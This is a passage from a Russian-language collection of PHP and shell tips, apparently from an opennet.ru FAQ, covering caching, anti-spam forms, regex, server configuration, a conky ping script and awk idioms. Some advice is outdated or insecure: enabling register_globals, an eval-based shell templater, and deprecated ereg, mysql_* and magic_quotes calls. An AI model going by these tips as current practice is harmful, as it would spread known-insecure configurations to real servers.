    если есть - то идем дальше - не посылая на базу никаких запросов. Надеюсь экономия всем понятна.
    
    Немного о грустном - модов для phpBB + memcache я не нашел. Зато в phpbb3 эта поддержка заявлена. 
    А для phpBB2 придется самому выискивать такие запросы для кеширования, 
    а ведь еще есть моды - они тоже генерируют тяжелые запросы. 
    Если все сделать правильно - тормоза базы можно сократить в 2-3 раза.
    
     
    ----* Средство против роботов публикующих спам в формах   Автор: Олег Светлов  [комментарии]
     
    Избавится от автоматического поста и не напрягать посетителя с вводом
     графического кода позволит следующий алгоритм:
    
    # Антиробот - против автопостов                 #
    function antibot($text)
        {
        $text = substr($text, 1, -4);
        $sear = array("'1'i","'2'i","'3'i","'4'i","'5'i","'6'i","'7'i","'8'i","'9'i","'0'i");
        $repl = array("a","b","c","d","e","f","g","h","i","j");
        $text = preg_replace ($sear, $repl, $text);
        return $text;
        }
    /*
        // вставляем анти-робоспам
        $antitime = time();
        $antiname = antibot($antitime);
        echo '<input name="'.$antiname.'" type="hidden" value="'.$antitime.'">';
        #----------
        // проверяем анти-робоспам
        $ver1time = time();
        $ver2time = time()-'9999';
        $ver1name = antibot($ver1time);
        $ver2name = antibot($ver2time);
        if ((strip_tags($_POST[$ver1name])<$ver1time and strip_tags($_POST[$ver1name])>$ver2time) or
            (strip_tags($_POST[$ver2name])<$ver1time and strip_tags($_POST[$ver2name])>$ver2time))
            {
            $antibot = '1';   // антибот даёт добро на post
            } else {
            $antibot = '-1';   // антибот запрещает этот post
            }
    */
    
    PS: в функции "замена цифры на буквы" обязательно замените a-j на что-нибудь своё.
    PPS: Код успешно работает около двух лет на нескольких сайтах.
    
     
    ----* В чем может быть причина битых бинарных файлов на выходе PHP   [комментарии]
     
    Например, если в результате выполнения функции (например,  
    base64_encode($buffer)) на выходе получается битый файл (кавычки, \ и
    символ с нулевым кодом экранированы символом \), то проблема в
    использовании директив автоматического экранирования magic_quotes_gpc
    (get, post, cookie) или  magic_quotes_runtime (автоэкранирования в
    некоторых функциях) в php.ini. Для решения проблемы нужно использовать
    функцию stripslashes, например: base64_encode(stripslashes($buffer))
    
     
    ----* Можно ли скрыть исходный код при распространении php-скрипта (доп. ссылка 1)   [комментарии]
     
    Существует утилита шифрования php скриптов  - acak-php. Скрипты выполняются в зашифрованном виде.
    
     
    ----* Можно ли выполнить SSI директивы в PHP скрипте.   [обсудить]
     
    Используете функцию virtual() для парсинга shtml внутри php.
    Для вызова php из shtml достаточно <!--#include virtual="test.php"--> 
    
     

       Regex (регулярные выражения)

    ----* Как проверить что переменная является числом.   [комментарии]
     
    if (ereg("^[0-9]+$", $var)) { число }
    
     
    ----* Использование Perl regex в PHP   [обсудить]
     
    preg_match("/маска/", $строка, [массив])
    preg_replace("/маска/", "/на что менять (параметры \\1, \\2 ...)/", $строка);
    preg_grep("/маска/", $массив) - на выходе все элементы массива соответствующие маске.
    if (preg_match ("/\<\/a\>/i", $str)){ ... }
    preg_match("/^([^:]*)\:(.*)/", $str, $array); list($var1,$var2) = $array;
    
     
    ----* Как автоматически все ссылки в виде http://www инкапсулировать в a href ?   [обсудить]
     
    eregi_replace("([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]#?/&=])", 
    "<a href=\"\\1://\\2\\3\">\\1://\\2\\3</a>", $var);
    
     
    ----* Что лучше preg_* или ereg_*   [комментарии]
     
    Старайтесь при работе с регулярными выражениями всегда когда это возможно использовать preg, 
    эта функция выполняется на порядок быстрее ereg.
    
     
    ----* Как развить непрерывный текст на строки не разрывая слов   [комментарии]
     
    $per_line=80; - число символов в строке.
    echo preg_replace("/^(.{".$per_line."}\S*)/m","\\1\n", $text); 
    
     

       Конструкции языка и функции

    ----* Как проверить что переменная является числом.   [комментарии]
     
    if (ereg("^[0-9]+$", $var)) { число }
    
     
    ----* Ускорение get_browser() в PHP (доп. ссылка 1)   Автор: kornel  [комментарии]
     
    В PHP есть очень удобная для разного рода статистики машин функция - get_browser(). 
    Она возвращает по юзерагенту объект, содержащий отфильтрованный набор информации 
    о браузере и его системе, как то имя, платформа, версия и т.п. "Т.п." - это набор информации, 
    о поддержке кук, дотнета и еще кучи всего, мне не нужного.
    
    Недавно заметил, что при большом количестве обращений эта функция довольно
    медленная и ресурсоемкая.
    Как положено, полез на http://www.php.net/get_browser читать, что пишут в комментариях.
    
    Первое, что попробовал, перейти на облегченную версию browscap.ini... 
    Помогло... процентов на 5 frown.gif
    В коментах нашел Browser Capabilities PHP Project. По заявлениям автора одни из основных фитч 
    - быстрота и полная совместимость с get_browser().
    
    Мне так-же понравилось автоматическое обновление browscap.ini.
    
    С совместимостью оказалось не все гладко. Если у get_browser() все свойства написаны строчными,
    то у данного проекта их названия пишутся с большой буквы,
    следовательно совместимость не полная. Но, это не самая большая проблема и легко обходится.
    
    Но вот со скоростью всплыли неожиданные проблемы.
    Даже после накопления кеша производительность не увеличилась и осталась на уровне get_browser()
    
    Для себя решил эту проблему след. образом:
    
    таблица в mysql:
    
    CREATE TABLE `bc_cache` (
      `cache_id` bigint(16) unsigned NOT NULL auto_increment,
      `hash` char(32) NOT NULL default '',
      `browser` char(32) NOT NULL default '',
      `version` char(32) NOT NULL default '',
      `platform` char(32) NOT NULL default '',
      PRIMARY KEY  (`cache_id`),
      UNIQUE KEY `hash` (`hash`)
    )
    
    Код в PHP примерно такой:
    
    $ua_hash = bin2hex(mhash(MHASH_MD5,$_SERVER['HTTP_USER_AGENT']));
    $query = sprintf("select browser,version,platform from bc_cache where hash='%s'",$ua_hash);
    $data = mysql_query($query,$res);
    if (mysql_num_rows($data)) {
        $browser = mysql_result($data,0,'browser');
        $version = mysql_result($data,0,'version');
        $platform = mysql_result($data,0,'platform');
    } else {
        $bc = get_browser($useragent);
        $browser = $bc->browser;
        $version = $bc->version;
        $platform = $bc->platform;
        $query = sprintf("insert into bc_cache (hash,browser,version,platform) values ('%s','%s','%s','%s')",
                            $ua_hash,
                            $browser,
                            $version,
                            $platform);
        mysql_unbuffered_query($query);
    }
    
    В дальнейшем пользуюсь переменными $browser,$version и $platform как мне заблагорассудится.
    
    Результат - повышение производительности, на глаз, раза в 4-8.
    
    Почему? За счет того, что $_SERVER['HTTP_USER_AGENT'] хоть и может сильно различаться, 
    но всё-таки, вещь не самая уникальная. А select по уникальному индексу по
    char(32) отрабатывает очень быстро!
    
     
    ----* Как подавить вывод ошибок при вызове функции на PHP   [комментарии]
     
    Если перед именем вызываемой функции поставить @, то ошибки выводится не будут.
    
     
    ----* Как в Perl/PHP выводить данные без буферизации, не дожидаясь конца строки   [комментарии]
     
    Perl:
       "$!=1;" или "use IO::Handle; FH->autoflush(1);"
    PHP:
       После каждой операции вывода вызывать flush();
    
     
    ----* Как в PHP определить константу.   [обсудить]
     
        define("CONST_VAL", "TEST"); 
        $var = CONST_VAL; 
    
     

       Серверная часть и интерпретатор

    ----* Как запустить PHP скрипт без встроенного в apache модуля и под UID определенного пользователя   [комментарии]
     
    Собираем PHP как скрипт и пишем в .htaccess:
      AddType application/x-httpd-php .php
     Action application/x-httpd-php /cgi-bin/php.cgi
    
     
    ----* Подключаем PHP 7.1 к Oracle в CentOS 7   Автор: smolindm  [комментарии]
     
    Скачиваем и устанавливаем Oracle Instant Client для linux с официального сайта.
    
    Устанавливаем Instant Client:
       # rpm -ivh oracle-instantclient12.1-basic-12.1.0.2.0-1.x86_64.rpm
       # rpm -ivh oracle-instantclient12.1-devel-12.1.0.2.0-1.x86_64.rpm
    
    Указываем системе где лежат библиотеки Oracle иначе получим предупреждение вида:
    
       PHP Warning: PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/oci8.so' 
       -libclntsh.so.12.1: cannot open shared object file: No such file or directory in Unknown on line 0
       PHP Warning: PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/pdo_oci.so' 
       -libclntsh.so.12.1: cannot open shared object file: No such file or directory in Unknown on line 0 
    
    создаем и записываем в конфигурационный файл путь к библиотекам Oracle
    
       # echo /usr/lib/oracle/12.1/client64/lib >> /etc/ld.so.conf.d/Oracle12.conf
    после чего настраиваем привязку динамических ссылок при помощи ldconfig
       # ldconfig
    
    Проверяем, что php не выдает ошибок:
    
       # php -v
       PHP 7.1.0RC6 (cli) (built: Nov  9 2016 09:51:59) ( NTS )
       Copyright (c) 1997-2016 The PHP Group
       Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
    
    В нашем случае все в порядке, можно смело обращаться из php к Oracle.
    
     
    ----* Решение проблемы поддержки php-zip-extension в Fedora-16   Автор: kassy_k  [комментарии]
     
    При установке PHP из стандартного репозитория обнаруживается отсутствие
    поддержки php-zip-extension. Как следствие, такие продукты как Moodle 2.2 не
    запускаются на сервере. Данная проблема актуальна для некоторых пользователей
    дистрибутивов Fedora 15 и Fedora 16.
    
    Решение проблемы довольно просто. Потребуется проделать несколько нехитрых операций:
    
    
    1. Устанавливаем из репозитория Apache, PHP и необходимые расширения.
    
    2. Загружаем и распаковываем с официального сайта исходники PHP (например в /dist).
    
    3. Создаем на веб-сервере файл inf.php:
    
       <?php
       phpinfo();
       ?>
    Так проще всего набрав в браузере http://localhost/inf.php посмотреть как
    сконфигурирован PHP в репозитории.
    
    4. Переходим в каталог с исходниками PHP и выполняем скрипт ./configure почти
    со всеми полученными на предыдущем шаге опциями, но добавляем еще --enable-zip
    
    5. Переходим в каталог /dist/php-X.X.X/ext/zip и выполняем следующее:
    
      phpize
      ./configure
      make
      sudo make install
    
    или устанавливаем через создание пакета, вместо make install:
    
      sudo checkinstall
    
    6. Финиш. Получаем установленный shared-модуль zip.so
    
    7. Перезапускаем веб-сервер:
    
       sudo systemctl restart httpd.service
    
     
    ----* Отладка php скриптов на стороне сервера   Автор: Pavel Piatruk  [комментарии]
     
    Иногда пользовательские скрипты или зависают, или хотят соединиться с чем-то
    запрещенным в файрволе,
    или интерпретатор неожиданно вылетает, не передав заголовок Content-type, что
    приводит к ошибке 500.
    Для того, чтобы разобраться в причине, попробуем отладить скрипты со стороны сервера, 
    не залезая в код php. Сначала придется изменить конфигурацию apache, чтобы php
    работало через suphp,
    а не через модуль mod_php5. Я не буду рассказывать, как это делается. Главное, кроме обычного, 
    "неотладочного", надо добавить свой обработчик в suphp.conf:
    
    	x-httpd-php_debug=php:/usr/local/bin/php-cgi.sh
    
    А вот содержимое этого скрипта /usr/local/bin/php-cgi.sh. Поставьте ему права 755. 
    Видно, что он запускает отладчиком php с перенаправлением отладочной информации в файл.
    
    	#!/bin/bash
    	/usr/bin/strace /usr/bin/php5-cgi $@ 2>/tmp/debug
    
    Не забудьте добавить этот обработчик в конфиг apache , это делается строкой
    
    	suPHP_AddHandler x-httpd-php_debug
    
    Затем в .htaccess нужного сайта допишите
    	
    	AddHandler x-httpd-php_debug .php
    
    В результате после повторной загрузки сайта появится файл /tmp/debug, в который будет добавляться
    отладочная информация о работе php нужного сайта. В это время лучше ограничить посещение сайта, 
    разрешив только 1 IP адрес, чтобы отладочной информации не было чрезмерно. 
    Обычно будет достаточно имени системного вызова, который приводит к прекращению
    выполнения скрипта.
    Можно поиграться с параметрами strace.
    
     
    ----* Как совместить использование SuPHP и mod_php в одном apache (доп. ссылка 1)   Автор: pookey.co.uk  [обсудить]
     
    По умолчанию будет использоваться SuPHP.
    В httpd.conf:
       LoadModule suphp_module        modules/mod_suphp.so
       LoadModule php4_module         modules/libphp4.so
       AddType application/x-httpd-php .php
       AddType application/x-httpd-php-source .phps
       AddHandler x-httpd-php .php
       suPHP_Engine on
       php_admin_flag engine off
    
    Для избранных хостов активируем mod_php:
    
       <VirtualHost ..>
         suPHP_Engine off
         RemoveHandler .php
         php_admin_flag engine on
         ...
      </VirtualHost>
    
     
    ----* Как оптимизировать работу сайта на PHP не переписывая скрипты (доп. ссылка 1)   Автор: onorua  [комментарии]
     
    Мы взяли 2 абсолютно одинаковых по-железу компьютера, один сделали
     точной копией настроек "живого" сервера (пускай будет машина А), а второй пытались тюнить (Машина Б).
    Каждый текст проводился отдельно (за раз - одна оптимизация, без наложения).
    
    1. На Б было проставлен весь новый софт с настройками по-умолчанию:
    
       А - 86 ответов/секунда
       Б - 72 ответов/секунда
    
    2. Выключен режим апача KeepAlive=off, добавлено количество одновременных запросов в MySQL:
    
       А - 86 о/с
       Б - 81 о/с
    
    3.1 Добален модуль php accelerator (http://www.php-accelerator.co.uk/)
    
       А - 87 о/с
       Б - 93 о/с
    
    3.2 Код скомпилен с помощью Zend, и подгружен Zend Optimizer
     (http://www.zend.com/store/products/zend-optimizer.php):
    
       A - 86 о/с
       Б - 140 о/с
    
    3.3 Код скомпилен MMcache (лучший результат)
    (http://turck-mmcache.sourceforge.net/index_old.html)
    
       A - 86 о/с
       Б - 215 о/с
    
    Тест проводился с помощью родного бэнчмарка апача. Мы были слегка удивлены тем что 
    Зенд не оправдал надежды + при компилировании Zend'ом, в админке не отображаются картинки.
    
     
    ----* Как отдавать web-контент в сжатом виде средствами PHP (доп. ссылка 1)   [обсудить]
     
    mod_php должен быть собран с опцией --with-zlib.
    Метод 1:
       output_buffering = On
       output_handler = ob_gzhandler
       zlib.output_compression = Off
    
    Метод 2:
       output_buffering = Off
       output_handler =
       zlib.output_compression = On
    
     
    ----* Как запретить пользователю использовать в своих скриптах определенные PHP функции   [комментарии]
     
    В php.ini (в httpd.conf не работает, только в php.ini):
    disable_functions=system,exec,passthru,shell_exec,mysql_pconnect, pgsql_pconnect,
          proc_open,proc_close,dl,show_source
    
     
    ----* Как организовать выполнение php скриптов под UID текущего пользователя (доп. ссылка 1)   [комментарии]
     
    Метод 1. Собираем PHP с --enable-force-cgi-redirect, кладем php.cgi в cgi-bin, в httpd.conf:
       AddType application/x-httpd-php .php
       Action application/x-httpd-php /cgi-bin/php.cgi
    Метод 2. Собираем PHP c --enable-discard-path, в начало php скриптов добавляем #!/usr/bin/php
    В httpd.conf: AddHandler cgi-script .php
    и в параметры директории где php скрипты к Options добавляем ExecCGI.
    
     
    ----* Почему после установки PHP 4.2.x перестали работать все глобальные переменные.   [комментарии]
     
    В /etc/php.ini необходимо прописать:
        register_globals on
    
     
    ----* Как максимально ограничить пользовательские PHP скрипты.   [обсудить]
     
    В httpd.conf в блок конфигурации каждого виртуального хоста добавляем:
      php_admin_flag engine on
      php_admin_flag expose_php off
      php_admin_flag safe_mode on
      php_admin_flag track_vars on
      php_admin_flag allow_url_fopen  off
      php_admin_flag magic_quotes_runtime on
      php_admin_value doc_root /home/user/htdocs
      php_admin_value open_basedir /home/user/htdocs
      php_admin_value safe_mode_exec_dir /home/user/bin
      php_admin_value safe_mode_protected_env_vars  LD_LIBRARY_PATH
      php_admin_value safe_mode_allowed_env_vars PHP_
      php_admin_value upload_tmp_dir /home/user/htdocs/tmp
      php_admin_value upload_max_filesize 1024000
      php_admin_value max_execution_time 10
      php_admin_value post_max_size  1M
      php_admin_value memory_limit 8M
      php_admin_flag mysql.allow_persistent  off
      php_admin_value mysql.max_links  5
      php_admin_flag pgsql.allow_persistent  off
      php_admin_value pgsql.max_links  5
      # в php.ini disable_functions = 
    
     

       Shell
    Готовые скрипты

    ----* Устранение ошибки redirection unexpected в bash-скриптах   Автор: Аноним  [комментарии]
     
    На системе с bash 5.2.15(1)-release совершенно невинное выражение
    
       read id rest < <(qm list)
    
    вызывает ошибку "Syntax error: redirection unexpected"
    
    Лечится заменой shebang с #!/bin/bash на #!/usr/bin/bash
    Вроде бы потому, что whois bash отдаёт /usr/bin/bash.
    
    Но ирония в том, что /bin/bash и /usr/bin/bash - две идентичные копии, даже не
    симлинк. /usr/bin в PATH стоит перед /bin.
    
     
    ----* Случайная задержка в shell-скрипте, выполняемом из crontab (без башизмов)   Автор: john_erohin  [комментарии]
     
    применимо в системах без anacron, без /etc/cron.[hourly|daily|weekly|monthly] и без systemd.
    
    цель: чтобы вписать простую строку в crontab вида
    
       0 */8  * * * $HOME/bin/script.sh
    
    но при этом иметь случайное начало работы (а не ровно 00:00, 08:00 и 16:00), 
    в начале script.sh нужно поместить
    
       R0=`dd if=/dev/urandom bs=1 count=4 status=none | od -t u4 | head -1 | cut -c 8-`
       sleep `echo "scale=0;" $R0 % 3601 | bc`
    
    задержка будет случайная, равномерно распределённая в интервале от 0 до 3600 секунд.
    
     
    ----* Просмотр прогноза погоды из терминала (доп. ссылка 1)   Автор: igor_chubin  [комментарии]
     
    Чтобы просмотреть информацию о погоде из командной строки, можно обратиться к
    службе wttr.in (код сервиса открыт под лицензией Apache 2.0) с помощью curl
    или другой аналогичной программы:
    
        $ curl wttr.in
        Weather report: Moscow, Russia
    
            \\  /       Partly cloudy
          _ /"".-.     4 - 8 °C    
            \\_(   ).   -> 26 km/h   
            /(___(__)  10 km       
                       0.0 mm      
    
    
    Для просмотра информации о погоде в текущем городе или с указанием города (и
    при необходимости страны через запятую) для просмотра информации в другом городе:
    
        $ curl wttr.in/Minsk
        $ curl wttr.in/Odessa,Ukraine
    
    Кроме названий городов для указания местоположений могут использоваться:
    
    1. IP-адреса (четыре октета разделённых точкой);
    2. Доменны имена (@opennet.ru);
    3. GPS-координаты (два числа через запятую);
    4. Слова для поиска (начинается с ~: ~Eiffel+tower);
    5. Коды аэропортов (svo, dme, muc и т.д.).
    
    Прогноз погоды можно просматривать как в командной строке (с помощью curl,
    httpie или другой подобной программы) так и в браузере. Прогноз погоды так же
    может быть предоставлен
    в виде PNG файла.
    
    
    
    Опции
    
    Дополнительные опции, регулирующие количество дней в прогнозе,
    единицы измерения, вывод дополнительных данных и другие параметры
    задаются после вопросительного знака в строке запроса:
    
        $ curl wttr.in/San-Francisco?u
    
    (для просмотра прогноза с использованием системы мер USCS).
    
    Полный список доступных опций
    можно посмотреть на странице /:help:
    
        $ curl wttr.in/:help
    
    PNG-вывод и маркировка фотографий
    
    Если добавить к концу запроса суффикс ".png", то сервис предоставит прогноз
    погоды в виде PNG-файла (который будет выглядеть как вывод cURL в терминале).
    
    Этот режим можно использовать в нескольких случаях:
    
    1. Для просмотра погоды в браузере, в котором некорректно поддерживаются
    моноширинные Unicode-шрифты (главным образом старые Windows-браузеры);
    2. Для непосредственного использования в web-страницах (файл можно
    непосредственно встраивать в страницу c помощью <img src="http://wttr.in/Moscow.png"/>.
    3. Для добавления информации о погоде на фотографии:
    
       $ convert 1.jpg < ( curl wttr.in/Oymyakon_tqp0.png ) -geometry +50+50 -composite 2.jpg
    
    В этом примере к фотографии 1.jpg добавится погода в данный момент в Оймяконе и
    результат будет записан в 2.jpg.
    
    
    
    Локализация и интернационализация
    
    wttr.in переведён на более чем 40 языков народов мира в том числе на русский,
    украинский и некоторые другие языки бывших союзных республик.
    
    Выбор языка вывода определяется автоматически на основе заголовков HTTP
    (Accept-Language) или может быть задано с помощью параметра lang:
    
        $ curl wttr.in/Moscow?lang=ru
    
    Поддерживаются не только различные языки вывода, но и различные языки запросов
    (они должны быть в кодировке UTF-8).
    
    Например, такие запросы будут работать:
    
        $ curl wttr.in/станция+Восток
        $ curl wttr.in/Килиманджаро
        $ curl wttr.in/Северный+полюс
    
    и тому подобные.
    
    Это очень важно, поскольку далеко не все населённые пункты (и места) на земном
    шаре имеют англоязычное название.
    
    Для входных запросов поддерживается не только русский, но и любые другие языки.
    
    
    
    Новые функции и исходный код
    
    Сервис wttr.in постоянно развивается.
    Информация о новых функциях публикуется в твиттере главного разработчика
    проекта - https://twitter.com/igor_chubin
    и в репозитрии проекта: https://github.com/chubin/wttr.in
    
    
    Другие способы определения погоды в командной строке
    
    Службы:
    
        $ finger newyork@graph.no
    
    Программы:
    
    *   wego (нужно ключ доступа к API) - используется для визуализации
    прогноза погоды в wttr.in;
    *   weatherpy (нужен ключ доступа к API погоды);
    *   inxi (например: inxi -W Warsaw,Poland).
    
    Другие популярные сервисы для командной строки
    
    Число известных сервисов для терминала и командной строки сейчас насчитывает
    несколько десятков, и оно постоянно растёт:
        awesome-console-services
    
    Популярные сервисы для командной строки можно разделить
    на несколько групп:
    
    
  • IP-адреса и определение местоположения;
  • Размещение текста в интернете, клоны pastebin (ix.io, sprunge.us, ptpb.pw);
  • Доступ к файлам (transfer.sh);
  • Генерация текста и сообщений (whatthecommit.com, fooas.com)
  • Словари и переводчики;
  • Прочие службы (погода, игры и так далее).
  •  
    ----* Скрипт для наглядного ping с ведением лога   Автор: Kins  [комментарии]
     
    Представленный скрипт может:
    * Отображать результат пинга
    * Отображать время пинга
    * Вести лог пингов
    * Визуализировать лог пингов
    * Подавать звуковой сигнал при отсутствии пинга
    
    Код скрипта  conky.sh:
    
       #!/bin/bash
    
       #$1 - name
       #$2 - adress
       #$3 - options (f: format result, n: show name, t: show time, d: show colored dot, s: play sound, l: logging)
       #$4 - width in symbol
       #$5 - fill symbol
       #$6 - sound file
       #$7 - packetsize
    
       if [ "$7" != "" ]
       then
        tmp=-s' '$7
       fi
       a=$(ping -c 1 $2 -W 1 $tmp)
       if [ "$a" = "" ]
       then
        r='e'
        t=&#42830;
       fi
    
       if [[ "$a" =~ [0-9]*% ]]; then tmp=$BASH_REMATCH; fi
       if [ "$tmp" = "0%" ]
       then
        r='y'
        if [[ "$a" =~ time=[0-9.]*.ms ]]; then t=$BASH_REMATCH; fi
        t=${t#time=}
        t=${t% ms}
       elif [ "$tmp" = "100%" ]
       then
        r='n'
        t=&#42830;
       fi
    
       vislog=''
       #функция визуализации и ведения лога
       function vis_log
       {
       # Проверка наличия файла.
       if [ ! -f "$2" ]
       then
        #echo "Файл "$2" не найден. Создаем..."
        > $2
       fi
       
       #сколько строк лога нужно визуализировать?
       tmp=''
       if [[ "$3" =~ n ]]; then tmp=$1' '; fi
       if [[ "$3" =~ t ]]; then tmp=$tmp' '$t; fi
       if [[ "$3" =~ d ]]; then tmp=$tmp' '$r; fi
       cnt=${#tmp}
       let cnt=$4-$cnt
       #считать из лога нужное количество строк
       tmp=$(tail -n $cnt $2)
       #парсим считанные строки
       sym=''
       oldsym=''
       for ((i=1; i <= cnt ; i++))
       do
        if [[ "$tmp" =~ [eyn] ]]; then sym=$BASH_REMATCH; fi
        tmp=${tmp#*d}
        if [ "$sym" != "$oldsym" ]
        then
         case "$sym" in
          y) vislog=$vislog'${color green}';;
          n) vislog=$vislog'${color red}';;
          e) vislog=$vislog'${color yellow}';;
         esac
        fi
        oldsym=$sym
        vislog=$vislog$5
       done
       
       #записали новый результат пинга в лог
       echo "$r $t"$(date +%x' % '%X)' d' >> $2
    
       #типа ротация лога оставляем только последние $4 строк
       tail -n $4 $2 > temp.txt
       rm $2
       mv temp.txt $2
       
       }
    
       #сыграем звук если надо
       if [[ "$3" =~ s ]]; then
        if [ "$r" != 'y' ]
        then
         play $6 -q &
        fi;
       fi
       
       #окончательное оформление для conky
       res=''
       if [[ "$3" =~ l ]]; then vis_log $1 $2 $3 $4 $5; fi
       if [[ "$3" =~ n ]]; then res=$1' '; fi
       if [[ "$3" =~ f ]]; then res=$res' '$vislog; fi
       if [[ "$3" =~ t ]]; then res=$res'${color} '$t; fi
       r=${r//y/'${color 00ff00}'&#11044;}
       r=${r//n/'${color ff0000}'&#11044;}
       r=${r//e/'${color ffff00}'&#11044;}
       if [[ "$3" =~ d ]]; then res=$res' '$r; fi
       echo $res
    
    В скрипт надо передать 7 параметров:
    
    1- Отображаемое имя того, что пингуем (может не совпадать с адресом и вообще
    это просто строка от которой работа скрипта не зависит)
    
    2- Пингуемый адрес (х.х.х.х либо example.com)
    
    3- Флаги настроек:
      f - форматировать вывод (без флага ведения лога бессмысленно)
      n - отображать имя
      t - отображать время пинга (ms)
      d - отображать жирную точку текущего результата
      s - проиграть звук при отсутствии пинга
      l - вести лог
    
    4- Общая ширина строки в символах для форматирования
    
    5- Символ которым будет заполняться пространство для форматированного вывода,
    также цветом этого символа будет отображаться лог
    
    6- Имя звукового файла (необязательный параметр нужен для флага s, почему то
    путь у меня не работал пришлось файл бросить в домашний каталог)
    
    7- Длинна пакета для пинга (совсем не обязательный параметр, но очень просили)
    
    Пример конфигурации conky:
    
       {execpi 10 /home/kinsoft/conky_ping5.sh Inet 8.8.8.8 fntdls 32 . drip.ogg}
    
    отображать имя, время пинга, лог, текущий результат; играть звук; вести лог;
    форматировать строку и делать ее шириной 32 знака.
    
     
    ----* Выполнение действия при изменении или создании файла в Linux   [комментарии]
     
    Утилита inotifywait из состава пакета inotify-tools позволяет организовать выполнение 
    определенного действия в shell скрипте, при изменении, создании, удалении,
    перемещении и выполнении
    других операций с файлами.
    
    Выполняем программу при появлении нового файла в директории
    
       inotifywait -e create /home/ftp/incoming --format "%w%f" -q -m| while read file; do
         clamscan $file
      done
    
    Для отслеживания изменений вместо create можно использовать modify, удаления -
    delete, перемещения - move и т.п.
    
     
    ----* Шаблонизатор на shell (доп. ссылка 1)   Автор: Denis Nasyrtdinov  [комментарии]
     
    Часто для целей серверной автоматизации требуется генерация конфигурационных файлов.
    
    Предлагается использовать для этих целей следующую shell-конструкцию
    
    *BSD:
    
       #!/bin/sh
       config_file='test.conf'
       template_file='mytemplate'
       myvar1='variable 1'
       template=`cat ${template_file}`
       eval "echo \"${template}\"" > ${config_file}
    
    
    Linux:
    
       #!/bin/bash
       config_file='test.conf'
       template_file='mytemplate'
       myvar1='variable 1'
       template=`cat ${template_file}`
       eval "echo \"${template}\"" > ${config_file}
    
    Переменная template_file содержит путь к шаблону, остальные переменные - данные для шаблона. 
    Последная строчка - ничто иное, как "движок" шаблонизатора, eval-вычисление строки-шаблона.
    
    Пример шаблона:
    
       myvar = ${myvar1}
       this is a \" quotes test \"
       $(
        if [ ! -z ${myvar2} ]; then
         echo "myvar2 is set and its value = ${myvar2}"
        fi
       )
       
    Важно отметить, что в шаблоне следует экранировать кавычки.
    В шаблоне можно использовать не только подстановки значений, но и управляющие конструкции, 
    заключенные в скобки (см. пример шаблона).
    
     
    ----* Сортировка стандартного вывода по длине строк   Автор: pavlinux  [комментарии]
     
    Сортируем в порядке возрастания длины:
    
       cat /etc/passwd | awk '{print length, $0}' | sort -n | awk '{$1=""; print $0 }'
    
    или обратно 
    
       cat /etc/passwd | awk '{print length, $0}' | sort -rn | awk '{$1=""; print $0 }'
    
     
    ----* Примеры использования Awk (доп. ссылка 1)   [комментарии]
     
    Использование сокращений.
    
    Конструкцию, используемую для вывода строк соответствующих заданной маске:
       awk '{if ($0 ~ /pattern/) print $0}'
    
    можно сократить до
       awk '/pattern/'
    
    Условие в awk может быть задано вне скобок, т.е. получаем:
       awk '$0 ~ /pattern/ {print $0}'
    
    По умолчанию, действия производятся со всей строкой, $0 можно не указывать:
       awk '/pattern/ {print}'
    
    print - является действием по умолчанию, его тоже можно не указывать.
       awk '/pattern/'
    
    Для вывода значения первого столбца строки, в которой присутствует маска LEGO:
       awk '/LEGO/ {print $1}'
    
    Для вывода значения первого столбца строки, во втором столбце которой присутствует маска LEGO:
       awk '$2 ~ /LEGO/ {print $1}'
    
    Для замены слова LIGO на LEGO и вывода только измененных строк можно использовать:
       awk '{if(sub(/LIGO/,"LEGO")){print}}'
    
    Но есть нужно выводить все строки (как sed 's/LIGO/LEGO/'), конструкцию можно упростить 
    (1 - true для всех строк):
       awk '{sub(/LIGO/,"LEGO")}1'
    
    Вывести все строки, за исключением каждой шестой:
       awk 'NR % 6'
    
    Вывести строки, начиная с 6 (как tail -n +6 или sed '1,5d'):
       awk 'NR > 5'
    
    Вывести строки, в которых значение второго столбца равно foo:
       awk '$2 == "foo"'
    
    Вывести строки, в которых 6 и более столбцов:
       awk 'NF >= 6'
    
    Вывести строки, в которых есть слова foo и bar:
       awk '/foo/ && /bar/'
    
    Вывести строки, в которых есть слово foo, но нет bar:
       awk '/foo/ && !/bar/'
    
    Вывести строки, в которых есть слова foo или bar (как grep -e 'foo' -e 'bar'):
       awk '/foo/ || /bar/'
    
    Вывести все непустые строки:
       awk 'NF'
    
    Вывести все строки, удалив содержимое последнего столбца:
       awk 'NF--'
    
    Вывести номера строк перед содержимым:
       awk '$0 = NR" "$0'
    
    Заменим команды (пропускаем 1 строку, фильтруем строки с foo и заменяем foo на bar, 
    затем переводим в верхний регистр и выводим значение второго столбца)
       cat test.txt | head -n +1 | grep foo | sed 's/foo/bar/' | tr '[a-z]' '[A-Z]' | cut -d ' ' -f 2
    
    аналогичной конструкцией на awk:
       cat test.txt | awk 'NR>1 && /foo/{sub(/foo/,"bar"); print toupper($2)}'
    
    
    Использование диапазонов.
    
    Вывести группу строк, начиная со строки, в которой есть foo, и заканчивая
    строкой, в которой есть bar:
       awk '/foo/,/bar/'
    
    Исключив из вывода строки с вхождением заданных масок:
       awk '/foo/,/bar/{if (!/foo/ && !/bar/)print}'
    
    Более оптимальный вариант:
       awk '/bar/{p=0};p;/foo/{p=1}'
    
    Исключить только строку с завершающим вхождением (bar)
       awk '/bar/{p=0} /foo/{p=1} p'
    
    Исключить только строку с начальным вхождением (foo)
       awk 'p; /bar/{p=0} /foo/{p=1}'
    
    
    Разбиение файла по шаблонам.
    
    Имеется файл (file), в котором группы строк разделены шаблонами FOO1,FOO2 и т.д.
    Необходимо записать данные, находящиеся между метками FOO в разные файлы, 
    соответствующие указанным в FOO номерам.
       awk -v n=1 '/^FOO[0-9]*/{close("out"n);n++;next} {print > "out"n}' file
    
    В GNU Awk можно сделать так:
       LC_ALL=C gawk -v RS='FOO[0-9]*\n' -v ORS= '{print > "out"NR}' file
    
    
    Парсинг CSV.
    
    По умолчанию в качестве разделителя используются пробел и табуляция.
    Чтобы определить иной разделитель, например запятую, нужно использовать FS=',' или опцию "-F".
    В качестве параметра может быть задано регулярное выражение, например, FS='^ *| *, *| *$'
    Но для разбора CSV это не подойдет, так как пробелы могут присутствовать и внутри трок,
    поэтому проще вырезать лидирующие пробелы перед и после запятой:
    
       FS=','
       for(i=1;i<=NF;i++){
